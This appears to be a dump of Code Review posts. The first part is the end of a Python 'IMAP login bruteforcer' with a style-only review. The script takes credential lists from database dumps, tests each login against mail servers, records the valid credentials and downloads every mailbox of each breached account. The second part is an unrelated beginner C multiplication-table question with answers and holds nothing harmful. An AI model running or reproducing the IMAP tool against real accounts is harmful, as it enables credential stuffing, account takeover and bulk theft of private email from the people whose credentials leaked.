output_location = os.path.join(output_dir, attachment_name).decode(charset, errors="ignore")
try:
attachment_file = open(output_location, "wb")
except IOError as e:
sys.stderr.write("Could not write to attachment file. Reason:" + str(e) + "\n")
else:
with attachment_file:
attachment_file.write(attachment_raw_data)
return num_attachments
def scrape_emails(
server: Union[imaplib.IMAP4, imaplib.IMAP4_SSL],
mark_as_read: Optional[bool] = False,
email_parts: Optional[str] = "all",
start_mailbox: Optional[int] = 1,
start_email: Optional[int] = 1,
output_dir: Optional[str] = None,
verbosity_level: Optional[int] = 2
):
"""Download all the emails in an email account via IMAP access
:param server: imaplib object which is logged in, and has the username or email used to log in set in custom attribute called "username_or_email"
:param mark_as_read: When set to True, the script will mark all the emails it downloads as Read in the IMAP server
:param email_parts: What parts of the email to download. Options are:
"headers" or "metadata": Email headers.
"body" : Email body.
"no-attachments" : Email headers + body without attachments.
"attachments" : Just the email attachments.
"all" : Entire email.
:param start_mailbox: Number of mailbox from which to start downloading emails, effectively skipping all previous ones
:param start_email: Number of email in the mailbox from which to start downloading, effectively skipping all previous ones
:param output_dir: Directory where to output the downloaded email.
A folder will be created for each mailbox and the emails of that mailbox will be placed there
:param verbosity_level: Available levels are:
0) No messages are printed
1) A message is printed for each user
2) A message is printed for each mailbox in the user's account
:return: None
"""
# TODO If mark_as_read is set to True, ask the user for confirmation
# Classes used to catch imaplib exceptions
imap_server_errors = (imaplib.IMAP4.error, imaplib.IMAP4_SSL.error)
# username_or_email is a custom property of imaplib's object that is set when logging in in server_login() function
username_or_email = server.username_or_email
if "@" in username_or_email:
username = username_or_email.split("@")[0]
else:
username = username_or_email
host = server.host
if output_dir is None:
output_dir = host
if verbosity_level >= 1:
sys.stdout.write("Downloading emails of {}\n".format(username))
# Reset the connection timeout back to default value, now that we are already logged in
# When initially connecting to a server, the timeout is set to a low value, around 1 second
server.sock.settimeout(15)
try:
response, mailboxes = server.list()
except imap_server_errors:
raise server_error("Error getting mailboxes from server")
if response != "OK":
raise server_error("Error getting mailboxes from server")
num_mailboxes = len(mailboxes)
# Decide what parts of the email to download, based on the IMAP rfc
if email_parts == "all":
imap_email_parts = "BODY[]"
elif email_parts == "headers" or email_parts == "metadata":
# TODO Check if this contains a boundary start as the last line
imap_email_parts = "BODY[HEADER]"
elif email_parts == "body":
# TODO This also downloads attachments. Change it so it only downloads the body
imap_email_parts = "BODY[TEXT]"
elif email_parts == "attachments":
# Downloading email attachments is handled below at the server.fetch() line
pass
else:
sys.stderr.write("Invalid parts to download, defaulting to all!\n")
imap_email_parts = "BODY[]"
for i_mailbox, imap_mailbox in enumerate(mailboxes, 1):
# Skip to the mailbox specified in start_mailbox
if i_mailbox < start_mailbox:
continue
# Extract the name of the mailbox from the server response
if '"/"' in imap_mailbox.decode(errors="replace"):
mailbox_name = imap_mailbox.decode(errors="replace").split('"/" ')[-1]
else:
mailbox_name = imap_mailbox.decode(errors="replace").split("NIL ")[-1]
response, num_emails_data = server.select(mailbox_name, readonly=not mark_as_read)
if response != "OK":
msg = "\t({}/{}) Error selecting mailbox {} | Reason: {}\n".format(i_mailbox, num_mailboxes, imap_mailbox.decode(errors="replace"), num_emails_data[0].decode(errors="replace"))
sys.stdout.write(msg)
# raise server_error(msg)
continue
# See comment at start of file for explanation about the indexes
num_emails = int(num_emails_data[0].decode())
# Replace invalid filename characters with underscores
for char in (">", "<", ":", "\"", "/", "\\", "|", "?", "*"):
if char in mailbox_name:
mailbox_name = mailbox_name.replace(char, "_")
if output_dir != "":
mailbox_output_directory = os.path.join(output_dir, mailbox_name)
else:
mailbox_output_directory = mailbox_name
try:
os.makedirs(mailbox_output_directory, exist_ok=True)
except PermissionError:
raise PermissionError("Could not create {}, invalid permissions".format(mailbox_output_directory))
response, emails_data = server.search(None, "ALL")
if response != "OK":
msg = "Error searching for emails in mailbox: {}\n".format(imap_mailbox.decode(errors="replace"))
sys.stderr.write(msg)
# raise server_error(msg)
continue
# See comment at start of file for explanation about the indexes
emails = emails_data[0].decode().split()
for i in emails:
# Skip to the email specified in start_email
if int(i) < start_email:
continue
if verbosity_level == 2:
sys.stdout.write("\t({}/{}) Downloading mailbox: {} | {} Total emails | ({}/{})\r".format(str(i_mailbox).zfill(len(str(num_mailboxes))), num_mailboxes, mailbox_name, num_emails, i, num_emails))
sys.stdout.flush()
if email_parts == "attachments":
num_attachments = _download_email_attachments(server=server, email_number=i, output_dir=os.path.join(output_dir, mailbox_name, i))
continue
try:
response, fetched_parts = server.fetch(i, "(FLAGS {})".format(imap_email_parts))
except imap_server_errors as e:
msg = "\nError downloading email {}\n".format(i)
sys.stderr.write(msg)
# raise server_error(msg)
continue
if response != "OK":
msg = "\nError downloading email {}\n".format(i)
sys.stderr.write(msg)
# raise server_error(msg)
continue
email_contents = b""
# The last part in fetched_parts is ")", so skip it
for part in fetched_parts[:-1]:
email_contents += part[1]
email_read_status = "READ" if "SEEN" in fetched_parts[0][0].decode().upper() else "UNREAD"
email_filename = i + "-" + email_read_status + ".eml"
email_file_path = os.path.join(mailbox_output_directory, email_filename)
with open(email_file_path, "wb") as email_file:
email_file.write(email_contents)
else:
# Check if there are no emails in mailbox
if not emails and verbosity_level == 2:
sys.stdout.write("\t({}/{}) Downloading mailbox: {} | {} Total emails | ({}/{})\r".format(str(i_mailbox).zfill(len(str(num_mailboxes))), num_mailboxes, mailbox_name, 0, 0, 0))
sys.stdout.flush()
if verbosity_level == 2:
# Print newline to compensate for the last \r
sys.stdout.write("\n")
def batch_scrape(
file: str,
host: Optional[str] = None,
port: Optional[int] = None,
use_ssl: Optional[bool] = False,
login_only: Optional[bool] = False,
file_delimiter: Optional[str] = ":",
start_line: Optional[int] = 1,
try_common_hosts: Optional[bool] = False,
mark_as_read: Optional[bool] = False,
email_parts: Optional[str] = "all",
output_dir: Optional[str] = None,
timeout: Optional[Union[float, int]] = 1.0,
verbosity_level: Optional[int] = 2
):
"""Download all the emails of multiple email accounts written in a file via IMAP. Downloaded emails are saved under `output_dir/username/mailbox_name/`
:param file:
A file containing login credentials in the form of `username:password`
or `username@example.com:password` separated by newlines.
You can specify a custom delimiter instead of `:` by using the file_delimiter parameter
:param host: IP or domain of the IMAP server
:param port: Port on which the IMAP server is listening
:param use_ssl: Use SSL when connecting to the server
:param login_only: Don't download any emails, just log in and write the valid credentials to the output file or stdout if no output file is given
:param file_delimiter: Delimiter which separates the email from the password in the input file
:param start_line: Line number from which to start parsing the input file, effectively skipping all previous ones
:param try_common_hosts: If connecting to host fails, try connecting to common subdomains of the host on which the server might be running
:param mark_as_read: When set to True, the script will mark all the emails it downloads as Read in the IMAP server
:param email_parts: What parts of the email to download. Options are:
"headers" or "metadata": Email headers.
"body" : Email body.
"no-attachments" : Email headers + body without attachments.
"attachments" : Just the email attachments.
"all" : Entire email.
:param output_dir: Directory where to output the downloaded email.
A folder will be created for each mailbox and the emails of that mailbox will be placed there
:param timeout: Maximum number of seconds to try and establish a connection
:param verbosity_level: Available levels are:
0) No messages are printed
1) A message is printed for each user
2) A message is printed for each mailbox in the user's account
:return:
"""
invalid_hosts = set()
valid_hosts = set()
try:
num_lines = _count_lines(file)
except IOError:
num_lines = 0
original_host = host
# offset by -1 to skip TO N-th line instead of skipping N lines
start_line -= 1
try:
credentials_file = open(file, "r", encoding="utf-8", errors="ignore")
except IOError as e:
sys.stderr.write("Could not open input file. Reason:" + str(e) + "\n")
else:
with credentials_file:
# Skip to the line specified in start_line
for _ in range(start_line):
next(credentials_file)
for i, line in enumerate(credentials_file, 1):
credentials = parse_line(line, delimiter=file_delimiter)
# parse_line() function returns None if it couldn't find any credentials in the line specified
if credentials is None:
continue
if original_host is None:
try:
host = credentials["email"].split("@")[1].lower()
except IndexError:
continue
else:
host = original_host.lower()
# TODO Remove this and use the try_common_hosts parameter of server_login
if try_common_hosts:
# Additional hosts to be used if connecting to the original one fails
# IMAP servers can be commonly found on specific subdomains, not the actual domain
possible_hosts = (host, "imap." + host, "mail." + host)
else:
possible_hosts = (host, )
for test_host in possible_hosts:
# Skip connecting to the host if it is invalid_hosts, but also specifically check whether it is NOT in valid_hosts.
# Even if the IMAP server works as expected, sometimes it can bug out and produce a connection error.
# That connection error will cause the host to be added to invalid_hosts, even though it works normally.
# So, when successfully connecting to a server we add that server to valid_hosts to make sure it doesn't get skipped
if test_host in invalid_hosts and test_host not in valid_hosts:
continue
if verbosity_level >= 1:
# Pad the line index to be the same width as the total number of lines
sys.stdout.write("({}/{}) | ".format(str(i + start_line).zfill(len(str(num_lines))), num_lines))
sys.stdout.flush()
# Connect to the server
try:
server_connection = server_login(
user_or_email_or_combo=credentials["email"],
password=credentials["password"],
host=test_host,
port=port,
use_ssl=use_ssl,
timeout=timeout
)
except connection_error as error:
# Could not connect to host
if verbosity_level >= 1:
sys.stdout.write(str(error) + "\n")
if error.host not in valid_hosts:
invalid_hosts.add(error.host)
continue
except login_error as error:
# Invalid login details
if verbosity_level >= 1:
sys.stdout.write(str(error) + "\n")
break
except Exception as e:
# Catch any unhandled exceptions and write them to a log file
# The script should continue parsing the credentials file until the end, regardless if an exception happened
msg = "An unhandled exception occurred at line {}:\n{}\n".format(i + start_line, str(e))
sys.stderr.write(msg)
with open(os.path.join(output_dir, "error_log.txt"), "a") as log:
log.write(msg + "\n")
break
else:
valid_hosts.add(test_host)
if login_only:
if verbosity_level >= 1:
sys.stdout.write("Valid credentials: " + credentials["email"] + file_delimiter + credentials["password"] + "\n")
try:
output_file = open(output_dir, "a")
except IOError as e:
sys.stderr.write("Could not open output file. Reason:" + str(e) + "\n")
else:
with output_file:
output_file.write(credentials["email"] + file_delimiter + credentials["password"] + "\n")
break
# Download the emails
try:
scrape_emails(
server=server_connection,
mark_as_read=mark_as_read,
email_parts=email_parts,
output_dir=os.path.join(output_dir, test_host, credentials["username"]),
verbosity_level=verbosity_level
)
except (server_error, PermissionError) as error:
sys.stderr.write(str(error) + "\n")
break
def main():
program_description = "Download all emails from an email account on an IMAP server and save the raw email contents to disk\n"
program_description += "Downloaded emails are saved under `output_dir/username/mailbox_name/"
ap = argparse.ArgumentParser(description=program_description, formatter_class=argparse.RawTextHelpFormatter, add_help=False)
credentials_args = ap.add_mutually_exclusive_group(required=True)
credentials_args.add_argument("-u", "--user", "--username", dest="username",
help="Username or complete credentials.\n" +
"The username can either be the full email: `bob@example.com` or just the username: `bob`\n" +
"Or it can contain the email address and password, separated by `:`\n" +
"along with other data commonly found in database dumps\n\n")
ap.add_argument("-p", "--pass", "--password", dest="password",
help="Password. If omitted you will be prompted to enter it when connecting to the server\n\n")
credentials_args.add_argument("-f", "--file",
help="Credentials file.\n" +
"A file containing login credentials in the form of `username:password`\n" +
"or `username@example.com:password` separated by newlines\n" +
"You can specify a custom delimiter instead of `:` by using the -d option\n\n")
ap.add_argument("-d", "--delimiter", "--file-delimiter", dest="file_delimiter", default=":",
help="The character which separates the username and password in the credentials file\n\n")
ap.add_argument("-h", "--host", dest="host",
help="IP or full domain name of the IMAP server\n\n")
ap.add_argument("-P", "--port",
help="Port on which the IMAP server is listening. Default is 143 (or 993 if -s is used)\n\n")
ap.add_argument("-c", "--common-hosts", dest="common_hosts", action="store_true",
help="If connecting to host fails, try subdomains such as mail.example.com and imap.example.com\n\n")
ap.add_argument("-s", "--ssl", action="store_true",
help="Use SSL when connecting to the server\n\n")
ap.add_argument("-t", "--timeout", default=1.0,
help="Timeout to be used when connecting to the server (in seconds).\n" +
"Default is 1.\n" +
"Anything below 0.5 will result in false-negatives, depending on the server.\n" +
"If using a proxy, specify a higher timeout than normally.\n\n")
ap.add_argument("-L", "--line", "--start-line", dest="start_line", default=1,
help="Start parsing the credentials file from the N-th line. (Skip the first N-1 lines)\n\n")
ap.add_argument("-M", "--mailbox", "--start-mailbox", dest="start_mailbox", default=1,
help="Start downloading emails from the N-th mailbox. (Skip the first N-1 mailboxes)\n\n")
ap.add_argument("-E", "--email", "--start-email", dest="start_email", default=1,
help="Start downloading emails from the N-th email in the mailbox. (Skip the first N-1 emails)\n\n")
ap.add_argument("-r", "--mark-as-read", action="store_true",
help="Use this option to mark the emails as read when downloading them.\n" +
"Default is to NOT mark them as read\n\n")
ap.add_argument("-l", "--login-only", action="store_true",
help="Just check whether the username and password are valid and don't download any emails\n\n")
ap.add_argument("--parts", "--email-parts", choices=("headers", "metadata", "body", "no-attachments", "attachments", "all"), default="all",
help="Specify what parts of the email to download. Options are:\n" +
"headers|metadata: Email headers\n" +
"body : Email body\n" +
"attachments : Just the email attachments\n" +
"all : Entire email\n\n")
ap.add_argument("-o", "--output-dir",
help="Output directory (relative or absolute). Defaults to the same value as `host`.\n" +
"Pass an empty string to download emails to the current working directory\n\n")
ap.add_argument("-v", "--verbosity-level", choices=("0", "1", "2"), default="2",
help="Verbosity level. Default level is 2. Available levels are:\n" +
"0) No messages are printed\n" +
"1) A message is printed for each user\n" +
"2) A message is printed for each mailbox in the user's account\n")
ap.add_argument("--help", action="help", help="Show a help message along with usage info")
args = ap.parse_args()
username = args.username
password = args.password
host = args.host
try_common_hosts = args.common_hosts
credentials_file = args.file
file_delimiter = args.file_delimiter
start_line = int(args.start_line)
start_mailbox = int(args.start_mailbox)
start_email = int(args.start_email)
timeout = float(args.timeout)
port = args.port
use_ssl = args.ssl
mark_as_read = args.mark_as_read
login_only = args.login_only
email_parts = args.parts
output_dir = args.output_dir
verbosity_level = int(args.verbosity_level)
socket.setdefaulttimeout(timeout)
if credentials_file:
batch_scrape(
file=credentials_file,
host=host,
port=port,
use_ssl=use_ssl,
login_only=login_only,
file_delimiter=file_delimiter,
start_line=start_line,
try_common_hosts=try_common_hosts,
mark_as_read=mark_as_read,
email_parts=email_parts,
output_dir=output_dir,
timeout=timeout,
verbosity_level=verbosity_level
)
else:
try:
server_connection = server_login(
user_or_email_or_combo=username,
password=password,
host=host,
port=port,
use_ssl=use_ssl,
try_common_hosts=try_common_hosts,
timeout=timeout
)
scrape_emails(
server=server_connection,
mark_as_read=mark_as_read,
email_parts=email_parts,
start_mailbox=start_mailbox,
start_email=start_email,
output_dir=output_dir,
verbosity_level=verbosity_level
)
except email_scraper_errors as error:
sys.stderr.write(str(error) + "\n")
if __name__ == "__main__":
start_time = time.time()
try:
main()
except KeyboardInterrupt:
sys.stdout.write("\nQuitting...\n")
sys.stdout.write("Finished in {} seconds\n".format(round(time.time() - start_time, 3)))
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:21:26.373",
"Id": "431101",
"Score": "1",
"body": "Welcome to Code Review! Some people here are a bit allergic to phrases like \"I omitted X[, because of Y]\". Maybe you should mention that those two functions can be found in your Github repository, and that you don't want to have them reviewed. If they should be included in the review, also add their source code to the question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:29:29.777",
"Id": "431104",
"Score": "0",
"body": "@AlexV Thanks for the welcome. I omitted those functions because I thought the code would be just too long, so I would rather have people focus on the provided code. I'll edit the question to better reflect that."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:28:19.613",
"Id": "431179",
"Score": "1",
"body": "Don't worry about long pieces of code, we can handle long."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:28:45.227",
"Id": "431180",
"Score": "0",
"body": "You could use some shorter functions though, wow."
}
] | [
{
"body": "<h1><a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a> recommendations</h1>\n<p>You've got a lot of function declarations where you put the arguments on multiple lines to make then more obvious, like this:</p>\n<pre><code>def _download_email_attachments(\n server: Union[imaplib.IMAP4, imaplib.IMAP4_SSL],\n email_number: str,\n output_dir: Optional[str] = "attachments"\n):\n</code></pre>\n<p>Personally, I would follow PEP 8's recommendation and use an alignment with the opening delimiter:</p>\n<pre><code>def _download_email_attachments(server: Union[imaplib.IMAP4, imaplib.IMAP4_SSL],\n email_number: str,\n output_dir: Optional[str] = "attachments"):\n</code></pre>\n<p>The same goes for function calls. Also, since you are using type hinting, make sure you hint the type of the return value of the function:</p>\n<pre><code> output_dir: Optional[str] = "attachments"): -> MyType\n</code></pre>\n<p>For function declarations like this:</p>\n<pre><code>def _count_lines(\n filename: str\n):\n</code></pre>\n<p>The expansion onto the next line is unnecessary, just use <code>def _count_lines(filename: str): -> MyType</code>.</p>\n<p>Your class <code>server_error</code> does not follow PEP 8 recommendation of the <code>CapWords</code> convention. It's commonly used in the vast majority of scripts and for almost every exception I've ever seen. You should change the name to <code>ServerError</code>.</p>\n<hr />\n<h1>General stuff</h1>\n<ul>\n<li><p>Your program is heavily commented which is good for future developers to know what's going on.</p>\n</li>\n<li><p>I don't know the slightest thing about mail protocols, but I really hope your program works the way it is supposed to :)</p>\n</li>\n</ul>\n<p>The first big thing I see is that you don't have a docstring. To me, as a developer, it's not immediately evident what the program does when I view the source code. Also, it's not great for IDEs that provide introspection into modules based on its docstring.</p>\n<p>There are a lot of spots where I see things like this:</p>\n<pre><code>host = server.host\n\nif output_dir is None:\n output_dir = host\n</code></pre>\n<p>In that particular function, <code>host</code> is never used again. In situations like those, it's not necessary to declare a reference only to have it assigned to another variable - at that point you've got a reference chain two deep, which is unnecessary. I understand you may be doing it for readability, but there's some point where you need to ask yourself if things like that are really necessary.</p>\n<p>In this <code>try</code>/<code>except</code>:</p>\n<pre><code> except PermissionError:\n raise PermissionError("Could not create {}, invalid permissions".format(mailbox_output_directory))\n</code></pre>\n<p>You should instead use:</p>\n<pre><code> except PermissionError as e:\n raise PermissionError("Could not create {}, invalid permissions".format(mailbox_output_directory)) from e\n</code></pre>\n<p>It's just to provide more context in exceptions. If you want to find out a bit more about <code>raise ... from</code>, <a href=\"https://stackoverflow.com/questions/24752395/python-raise-from-usage\">this question</a> is useful.</p>\n<p>I noticed a lot of times you used <code>sys.stdout.write</code> and <code>sys.stderr.write</code>. Since you're in Python 3, you could simply use:</p>\n<pre><code>print(...) # For sys.stdout, since that is the default\nprint(..., file=sys.stderr) # For sys.stderr, using the file kwarg\n</code></pre>\n<p>Finally, in your <code>__name__</code>/<code>"__main__"</code>, it looks like you use <code>time.time()</code> to time the execution of the script. As far as I am aware, it is recommended to <code>time.process_time()</code> or <code>time.perf_counter()</code> depending on how long your script takes to run. See <a href=\"https://stackoverflow.com/questions/85451/pythons-time-clock-vs-time-time-accuracy\">this question</a> for a bit more information.</p>\n<hr />\n<p>If you have any questions, please do not hesitate to ask.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T18:48:56.687",
"Id": "431225",
"Score": "0",
"body": "Thanks for the reply. I agree with all your PEP8 related recommendations. The reason I aligned all the function arguments the way I did is that I use tabs instead of spaces so I can't always align them properly. I guess the solution is to use spaces as I've also had additional alignment problems. I used `camel_case` for the exception classes as I have one named `connection_error` and if I converted it to `CapsCase` then it would shadow a built-in exception. Should I come up with a different name for that and convert them to CapsCase or can I keep them camel_case? (1/2) ..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T18:59:44.630",
"Id": "431226",
"Score": "0",
"body": "... (2/2) Instead of a docstring I have a README file inside the github repository. There you can find out what the program does as well as other info. I don't expect this file to be available without the README, but I can see the value in having a docstring when using an IDE. I realise that this was an error on my part for not including all the files directly in the question. All the other remarks in the general part are valid :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T14:51:36.537",
"Id": "431331",
"Score": "0",
"body": "@choket Hi, sorry for the late response. You should probably convert that exception to `CapsCase` and rename it to something a bit more specific (if it shadows a built-in it's probably not specific enough). And as for the README, I think that's acceptable as an alternative to a docstring. It's completely up to you."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T15:28:44.790",
"Id": "222715",
"ParentId": "222663",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:14:47.647",
"Id": "222663",
"Score": "2",
"Tags": [
"python",
"python-3.x",
"email"
],
"Title": "Python IMAP login bruteforcer"
} | 222663 |
<p>I'm a complete beginner, but I'd like to learn how to program. I really started 2 weeks ago.</p>
<p>So I tried the common exercise, aka the multiplication table, but I tried to add little things I learnt recently in order to challenge myself, like <em>functions</em>, <em>tables</em> and <em>pointers</em> even if it's useless here.</p>
<p>The code works well, but I have some warnings when compiling, and I don't know why, like <code>*pointSize = NULL;</code></p>
<p>Besides, I'm sure my code could be cleaned up, so I'd like you to tell me how I can improve it.</p>
<p>Here's the result:</p>
<pre>How long this table should be ? (0 - 50) 5
| 1 | 2 | 3 | 4 | 5 |
================================================
1 I 1 | 2 | 3 | 4 | 5 |
-------+-------+-------+-------+-------+-------+
2 I 2 | 4 | 6 | 8 | 10 |
-------+-------+-------+-------+-------+-------+
3 I 3 | 6 | 9 | 12 | 15 |
-------+-------+-------+-------+-------+-------+
4 I 4 | 8 | 12 | 16 | 20 |
-------+-------+-------+-------+-------+-------+
5 I 5 | 10 | 15 | 20 | 25 |
-------+-------+-------+-------+-------+-------+
</pre>
<pre class="lang-c prettyprint-override"><code>/* Multiplication table */
#include <stdio.h>
short tableSize; // Number of multipliers
short question (short *pointSize); // Ask user how many multipliers
void error(short nbUser); // Cherck error
void multTable(); // The table
void main ()
{
short i = 1, nbMultipliers;
question(&nbMultipliers);
error(nbMultipliers);
tableSize = nbMultipliers;
/* header */
printf(" |");
for (i = 1; i <= tableSize; i++)
{
printf(" %3u |", i);
}
printf("\n");
for (i = 1; i <= (tableSize + 1); i++)
{
printf ("========");
}
printf("\n");
/* end header */
multTable(); // the table
}
/* Ask user how many multipliers */
short question (short *pointSize)
{
*pointSize = NULL;
printf("How long this table should be ? (0 - 50) ");
scanf("%u", pointSize);
printf("\n");
}
void error (short nbUser)
{
if (nbUser < 0 || nbUser > 50)
{
printf("Error : you must enter a number between 0 and 50");
}
}
/* end Ask user how many multipliers */
void multTable()
{
short i = 1, j = 1;
short line[50] = {0};
for (j = 1; j <= tableSize; j++)
{
printf(" %3u I", j);
for (i = 1; i <= tableSize; i++)
{
line[i] = i*j;
printf (" %3u |", line[i]);
}
printf("\n");
for (i = 1; i <= (tableSize + 1); i++)
{
printf ("-------+");
}
printf("\n");
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T22:13:37.887",
"Id": "431106",
"Score": "10",
"body": "Please don't post an image when text is perfectly fine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T05:46:31.890",
"Id": "431135",
"Score": "2",
"body": "This code can't possibly work, the way you call the `error(short nbUser)` function with`error(&nbMultipliers)`."
}
] | [
{
"body": "<p>Good start mate. Few items for you to consider:</p>\n\n<ul>\n<li>Things tend to get complicated by law of entropy all by them self - your help is not needed (aka: KISS)</li>\n<li>Use natural names so your code reads as close to English as possible.</li>\n<li>Learn to be a good listener - if an experienced user tells you huge files, like pictures are not appreciated needlessly, take pain and replace them by text file, as suggested.</li>\n<li>Edit yourself first, so there is less for others to do, you stated that the posted code works, however it did not compile as pasted, make sure you post the working version by running it just before posting and copying from correct file. </li>\n</ul>\n\n<p>And here is a bit cleaner version:</p>\n\n<pre><code> /* Multiplication table */\n #include <stdio.h>\n #define MAX_SIZE 31\n\n int getSize();\n void printHeader(int);\n void printTable(int);\n\n int main ()\n {\n while(true)\n {\n int size = getSize();\n if (size == 0) break;\n printHeader(size);\n printTable(size);\n }\n return 0;\n }\n\n int getSize()\n {\n int size = -1;\n while (0 > size || size > MAX_SIZE)\n {\n printf(\"\\nPlease enter number between 1 and %d to specify \\nmultiplication table size, or 0 to exit: \", MAX_SIZE);\n scanf (\"%d\", &size);\n printf(\"\\n\");\n if(0 > size || size > MAX_SIZE) printf(\"Error, please check your entry and try again!\");\n }\n return size;\n }\n\n void printHeader(int size)\n {\n printf(\" ┃\");\n for (int i = 1; i < size + 1; i++)\n printf(\" %3u ┃\", i);\n printf(\"\\n\");\n for (int i = 1; i < size + 2; i++)\n printf (\"━━━━━━━╋\");\n printf(\"\\n\");\n }\n\n void printTable(int size)\n {\n for (int j = 1; j <= size; j++)\n {\n printf(\" %3d ┃\", j);\n for (int i = 1; i < size + 1; i++)\n printf(\" %3d |\", i * j);\n printf(\"\\n\");\n for (int i = 1; i < size + 2; i++)\n printf (\"━━━━━━━╋\");\n printf(\"\\n\");\n }\n }\n\n</code></pre>\n\n<p>And here are few sample input/outputs:</p>\n\n<pre><code> Please enter number between 1 and 31 to specify \n multiplication table size, or 0 to exit: 0\n\n$ ./multip\n\n Please enter number between 1 and 31 to specify \n multiplication table size, or 0 to exit: 5\n\n ┃ 1 ┃ 2 ┃ 3 ┃ 4 ┃ 5 ┃\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n 1 ┃ 1 | 2 | 3 | 4 | 5 |\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n 2 ┃ 2 | 4 | 6 | 8 | 10 |\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n 3 ┃ 3 | 6 | 9 | 12 | 15 |\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n 4 ┃ 4 | 8 | 12 | 16 | 20 |\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n 5 ┃ 5 | 10 | 15 | 20 | 25 |\n ━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋━━━━━━━╋\n\n Please enter number between 1 and 31 to specify \n multiplication table size, or 0 to exit: 77\n\n Error, please check your entry and try again!\n Please enter number between 1 and 31 to specify \n multiplication table size, or 0 to exit: \n</code></pre>\n\n<p>Please do not forget to mark as answer and vote up if you appreciate my help. And for extra bonus, check out this <a href=\"https://en.wikipedia.org/wiki/Box-drawing_character\" rel=\"nofollow noreferrer\">Box Drawing Reference</a> and make the table perfect by using the 8 corner piece characters I should have but did not. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T11:46:06.057",
"Id": "431184",
"Score": "5",
"body": "It's probably not a good idea to use \"block quotes\" for parts of the answer YOU wrote. They are meant for, wait...wait, quotes."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T01:49:58.257",
"Id": "431387",
"Score": "0",
"body": "Thanks @AlexV - you are 100% right, **done**, and I would keep it in mind for future."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T01:14:19.477",
"Id": "222675",
"ParentId": "222664",
"Score": "3"
}
},
{
"body": "<p>You should generally try to avoid global variables (like <code>tableSize</code>). Since they can be used everywhere (\"globally\"), at the worst case you need to read <em>all</em> of the code to figure out where they come from and how they're used. In this case, <code>tableSize</code> could become a <em>parameter</em> of <code>multTable</code>.</p>\n\n<p>While it will probably work on the compilers you'll come across, <code>void main()</code> isn't strictly guaranteed to work in all C implementations. The standard signature is <code>int main(int argc, char** argv)</code>, or possibly <code>int main(void)</code>.</p>\n\n<p>Defining multiple variables in a single line, like <code>short i = 1, nbMultipliers;</code>, is generally frowned upon because (a) it can be hard to read, and (b) C made some questionable decisions about the need to repeat qualifiers like <code>const</code> and <code>*</code> on types, making the syntax dangerous.</p>\n\n<p>However, you shouldn't really be defining all of your variables at the top of your functions (this was required in old versions of C, but hasn't been for twenty years). You should define your variables as late as possible.</p>\n\n<p>The signature of <code>question</code> could be simplified to <code>short question(void)</code> -- don't use pointers when you don't have a reason to.</p>\n\n<p>You are calling <code>error</code> incorrectly. You've defined it to take a <code>short</code>, but you're passing it a pointer to a <code>short</code>. It should instead be called like <code>error(nbMultiplier);</code>. The C compiler should tell you this -- are you compiling using warnings? The flags <code>-Wall -Wextra</code> are very useful!</p>\n\n<p>Initializing <code>pointSize</code> prior to reading in is not necessary, and actually possibly harmful to the compiler/a debugger catching your mistakes. Also, <code>NULL</code> is a value for <em>pointers</em>. When you're setting <code>*pointSize</code>, you're setting the value of a <em><code>short</code></em>, not a pointer. You probably mean <code>0</code> or <code>-1</code> or some other value - but again, it's simpler to just leave it uninitialized in this case, so that a sanitizer or debugger can catch any accidental uses of uninitialized data.</p>\n\n<p>The format specifier for <code>short</code> is <code>%hd</code>, not <code>%u</code>. Using <code>%u</code> will invoke undefined behavior. Here too, the compiler will emit a warning telling you to fix this. </p>\n\n<p><code>exit</code> is included in <code>stdlib.h</code>, which you have not <code>#include</code>d. It also requires a integer parameter, the exit code to use. Since this is an error, you should use <code>EXIT_FAILURE</code>.</p>\n\n<hr>\n\n<p>Here is what your program looks like (skipping the body of <code>multTable</code> which we haven't gotten to yet) if you apply all of the above:</p>\n\n<pre class=\"lang-c prettyprint-override\"><code>#include <stdio.h>\n#include <stdlib.h>\n\nshort question(void); // Ask user how many multipliers\nvoid error(short nbUser); // Cherck error\nvoid multTable(short); // The table\n\nint main(void)\n{\n short tableSize = question();\n error(tableSize);\n\n /* header */\n printf(\" |\");\n for (short i = 1; i <= tableSize; i++)\n {\n printf(\" %3u |\", i);\n }\n printf(\"\\n\");\n\n for (short i = 1; i <= (tableSize + 1); i++)\n {\n printf(\"========\");\n }\n printf(\"\\n\");\n /* end header */\n\n multTable(tableSize); // the table\n return 0;\n}\n\n/* Ask user how many multipliers */\nshort question(void)\n{\n short pointSize;\n printf(\"How long this table should be ? (0 - 50) \");\n scanf(\"%hd\", &pointSize);\n printf(\"\\n\");\n 